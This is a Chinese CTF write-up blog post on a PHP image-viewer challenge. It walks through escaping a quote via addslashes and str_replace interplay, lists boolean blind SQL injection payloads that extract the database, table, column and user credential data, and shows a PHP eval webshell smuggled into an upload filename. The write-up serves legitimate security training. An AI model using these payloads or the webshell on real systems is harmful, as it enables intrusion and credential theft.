robots.txt给了bak
找到了一个源码

<?php
include "config.php";

id=isset(_GET["id"])?_GET["id"]:"1";path=isset(_GET["path"])?_GET["path"]:"";

id=addslashes(id);
path=addslashes(path);

id=str_replace(array("\\0","%00","\\'","'"),"",id);
path=str_replace(array("\\0","%00","\\'","'"),"",path);

result=mysqli_query(con,"select * from images where id='{id}' or path='{path}'");
row=mysqli_fetch_array(result,MYSQLI_ASSOC);

path="./" .row["path"];
header("Content-Type: image/jpeg");
readfile($path);

简单看了一下
id经过addslashes过滤
addslashes会把\,’,",%00转义
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
本地测了一下
id=\0’可以逃逸一个单引号
简单分析一下
\0’经过addslashes处理之后变成\0\’
再经过str_replace处理
\0和’被置空,剩下一个\
这个\转义掉后面的’
然后path被吃进去,导致逃逸
然后构造布尔值盲注
?id=\\0'&&path=or id=(length(database())=10)%23
由于buu的429跑python盲注脚本有点蛋疼。。直接上burp了
常规的布尔值盲注
爆库:
?id=\\0%27&&path=or%20id=(ascii(mid((select%20database()),1,1))%3E1)%23
一个一个转字符有点痛苦 写了个python脚本
有时间一定要开发个burp自动转的插件!(挖坑)((或许可以让Lamber写))
库名是ciscnfinal
爆表:
p?id=\\0%27&&path=or%20id=(ascii(mid((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),12,1))=115)%23
表名users
爆列名:
id=\\0'&&path=or%20id=(ascii(mid((select group_concat(column_name) from information_schema.columns where table_name=0x7573657273),1,1))>1)%23
过滤了单引号所以用16进制编码一下
跑的有点慢 抽根烟
列名username,password
爆字段:
?id=\\0%27&&path=or%20id=(ascii(mid((select(group_concat(username))from(users)),3,1))=1)%23
?id=\\0%27&&path=or%20id=(ascii(mid((select(group_concat(password))from(users)),3,1))=1)%23
admin 密码忘了 刚才发的时候断网了 直接没了
进去是一个上传口
fuzz一下 过滤了文件名里的php
传上去之后会把文件名写到php文件里
所以可以把webshell写到文件名里
这里涉及一个玄学的知识点
短标签
自己搭环境测了测
把变量或者函数赋值给<\?会自动输出
所以payload就是
<?=eval($_POST['c']);?>.jpg
还有一个玄学的问题是
直接system(‘cat /flag’);放到文件名里是输出不了的
测了一下感觉应该是/的问题 因为ls可以执行 但是ls /就不行了
但是我本地测又是可以输出的 玄学问题 不知道是不是题目有过滤
明天在linux搭个环境测试一下
如果是系统不一样导致的问题
似乎可以尝试一下绕过的拓展之类的23333333
明天看明天看

Categories: 技术

0 Comments

发表评论

Avatar placeholder

您的电子邮箱地址不会被公开。 必填项已用*标注